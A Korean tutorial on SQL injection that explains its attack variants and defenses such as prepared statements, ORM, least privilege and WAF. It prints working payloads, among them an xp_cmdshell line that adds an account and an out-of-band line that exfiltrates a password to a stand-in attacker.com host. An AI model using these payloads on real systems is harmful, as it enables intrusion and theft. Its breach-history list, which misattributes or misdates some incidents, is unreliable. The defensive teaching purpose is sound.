SQL 인젝션 공격 경로와 웹 애플리케이션 방어 설계

SQL 인젝션의 공격 유형과 피해 양상, 매개변수화 쿼리·입력 검증·WAF를 활용한 웹 애플리케이션 방어 방법

2026-08-14 · 최초 발행 2025-06-28

입력값이 데이터베이스 명령으로 바뀌는 지점

SQL 인젝션(SQL Injection)은 사용자 입력이 검증 없이 데이터베이스 쿼리에 포함될 때 생긴다. 로그인 폼, 검색창, URL 파라미터처럼 애플리케이션이 받는 값에 조작된 SQL 구문이 섞이면, 데이터베이스는 개발자가 의도하지 않은 명령까지 실행할 수 있다.

그 결과 중요 정보를 조회하거나 바꾸고, 인증 절차를 우회하는 일이 가능해진다. SQL 인젝션은 OWASP(Open Web Application Security Project) Top 10에서 지속적으로 상위권에 랭크되는 보안 위협이기도 하다.

취약점은 대체로 다음 순서로 만들어진다.

  • 사용자 입력값이 SQL 쿼리에 직접 사용된다.
  • 입력값 검증이나 이스케이프 처리가 충분하지 않다.
  • 공격자가 입력값 안에 SQL 구문을 삽입한다.
  • 조작된 쿼리가 데이터베이스에서 실행된다.

응답 방식에 따라 달라지는 공격 양상

오류 메시지를 단서로 삼는 방식

Error-based SQL 인젝션은 데이터베이스 오류 메시지에서 정보를 얻는다. 애플리케이션이 상세 오류를 반환할 때 효과적이며, ' OR 1=1 -- 같은 구문으로 항상 참이 되는 조건을 만들 수 있다.

UNION으로 결과를 결합하는 방식

Union-based SQL 인젝션은 UNION 연산자로 여러 SELECT 쿼리의 결과를 합친다. 기존 조회 결과에 다른 테이블의 데이터를 덧붙여 반환받는 방식이다.

예: ' UNION SELECT username, password FROM users --

화면에 데이터가 직접 보이지 않는 경우

Blind SQL 인젝션은 직접적인 데이터 노출이 없을 때 사용된다. Boolean-based 방식은 참과 거짓의 차이로 정보를 유추하고, Time-based 방식은 쿼리 실행 시간 차이로 정보를 유추한다.

예: ' OR (SELECT 1 FROM users WHERE username='admin' AND LENGTH(password)>5) --

저장 프로시저와 대역 외 채널을 노리는 방식

Stored Procedure SQL 인젝션은 저장 프로시저를 대상으로 하며, 데이터베이스 내부 프로시저 실행 권한을 얻을 수 있다.

예: '; EXEC xp_cmdshell 'net user hack hack /ADD' --

Out-of-band SQL 인젝션은 직접적인 응답 채널이 없을 때 DNS나 HTTP 요청 같은 대체 채널로 데이터를 유출한다.

예: '; DECLARE @q VARCHAR(8000); SET @q=CAST((SELECT TOP 1 password FROM users) AS VARCHAR(8000)); EXEC('master..xp_dirtree "\\'+@q+'.attacker.com\\a"') --

로그인 우회와 데이터 노출이 발생하는 방식

취약한 로그인 시스템은 입력값을 문자열로 이어 붙이는 형태에서 시작한다.

$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";

공격자가 다음과 같이 입력한다고 가정한다.

  • 사용자명: admin' --
  • 비밀번호: 아무 값

그러면 데이터베이스에는 다음 쿼리가 전달된다.

SELECT * FROM users WHERE username='admin' -- ' AND password='아무값'

주석 처리된 뒤쪽 조건이 무시되면서 admin 계정으로 비밀번호 없이 로그인할 수 있다.

검색 기능도 같은 문제를 가질 수 있다.

$query = "SELECT * FROM products WHERE name LIKE '%$searchTerm%'";

공격자 입력은 다음과 같다.

%' UNION SELECT null, username, password, null FROM users --

이 입력이 결합된 실제 쿼리는 다음과 같다.

SELECT * FROM products WHERE name LIKE '%' UNION SELECT null, username, password, null FROM users -- %'

제품 검색 결과에 사용자 계정 정보가 함께 노출될 수 있다.

실제 피해 사례도 이어졌다.

  • 2008년: Heartland Payment Systems - 1억 3천만 개의 신용카드 정보 유출
  • 2011년: Sony PlayStation Network - 7천 7백만 사용자 계정 정보 유출
  • 2015년: British Airways - 38만 명의 결제 정보 탈취
  • 2017년: Equifax - 1억 4천 3백만 명의 개인정보 유출

쿼리 구조와 입력 데이터를 분리하는 방어

가장 직접적인 대응은 매개변수화된 쿼리(Prepared Statements)다. SQL의 구조와 입력 데이터를 분리하면 입력값이 쿼리 구문으로 해석되는 일을 막을 수 있다.

// 취약한 코드
String query = "SELECT * FROM users WHERE username='" + username + "' AND password='" + password + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

// 안전한 코드
String query = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();

ORM(Object-Relational Mapping) 프레임워크를 쓰는 방법도 있다. Hibernate, Django ORM, Entity Framework 등은 매개변수화된 쿼리 생성을 지원하며, 직접 SQL을 작성하는 범위를 줄인다.

# Django ORM 예시
user = User.objects.filter(username=username, password=password).first()

저장 프로시저는 미리 정의한 SQL 문을 사용해 동적 쿼리 생성을 막고, 데이터베이스 수준에서 입력값을 검증할 수 있게 한다.

CREATE PROCEDURE authenticateUser @username VARCHAR(50), @password VARCHAR(50)
AS
BEGIN
    SELECT * FROM users WHERE username = @username AND password = @password
END

-- 호출
EXEC authenticateUser @username='john', @password='secret'

입력값에는 화이트리스트 방식의 검증을 적용하고 특수문자는 이스케이프 처리한다.

// PHP 예시
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

애플리케이션 DB 계정은 필요한 권한만 가져야 한다. 데이터베이스 역할(Role)을 나누고, 읽기 전용 작업과 쓰기 작업에 서로 다른 계정을 쓰면 침해 시 영향 범위를 줄일 수 있다.

WAF는 SQL 인젝션 패턴을 탐지하고 차단하며, 실시간 모니터링과 보호를 제공한다. ModSecurity, AWS WAF 등이 활용 대상이다.

요청부터 데이터베이스까지 이어지는 방어 계층

입력 검증만으로 끝내지 않고, 요청 경로 전체에 방어 계층을 둔다. WAF에서 요청을 필터링하고 애플리케이션에서 입력을 검증한 뒤, 데이터 접근 계층에서는 매개변수화된 쿼리와 제한된 데이터베이스 권한을 적용한다. 모니터링 시스템은 각 계층을 감시한다.

요청필터링된 요청요청 처리입력값 검증검증된 데이터매개변수화된 쿼리제한된 권한감시감시감시감시감시클라이언트WAF 서버애플리케이션 서버입력값 검증 계층비즈니스 로직 계층데이터 접근 계층데이터베이스모니터링 시스템

배포 전과 운영 중에 확인할 지점

자동화된 취약점 스캐너로는 OWASP ZAP, Burp Suite, SQLmap 등을 활용할 수 있다. 정기적인 취약점 스캔을 수행하고 CI/CD 파이프라인에 보안 테스트를 통합하는 방식이 해당한다.

수동 침투 테스트에서는 다양한 입력점을 시험하고 오류 메시지를 분석한다. 블라인드 인젝션 테스트와 실제 공격 시나리오 시뮬레이션도 포함한다.

코드 리뷰에서는 동적 쿼리를 생성하는 코드, 입력값 검증 로직, 데이터베이스 접근 코드를 중점적으로 확인한다. 개발 단계의 시큐어 코딩과 정기 보안 테스트, 개발자 보안 교육, 보안 가이드라인, 자동화된 보안 테스트 도구를 함께 운영해야 웹 보안 위협에 체계적으로 대응할 수 있다.

SQL 인젝션웹 보안시큐어 코딩데이터베이스 보안OWASP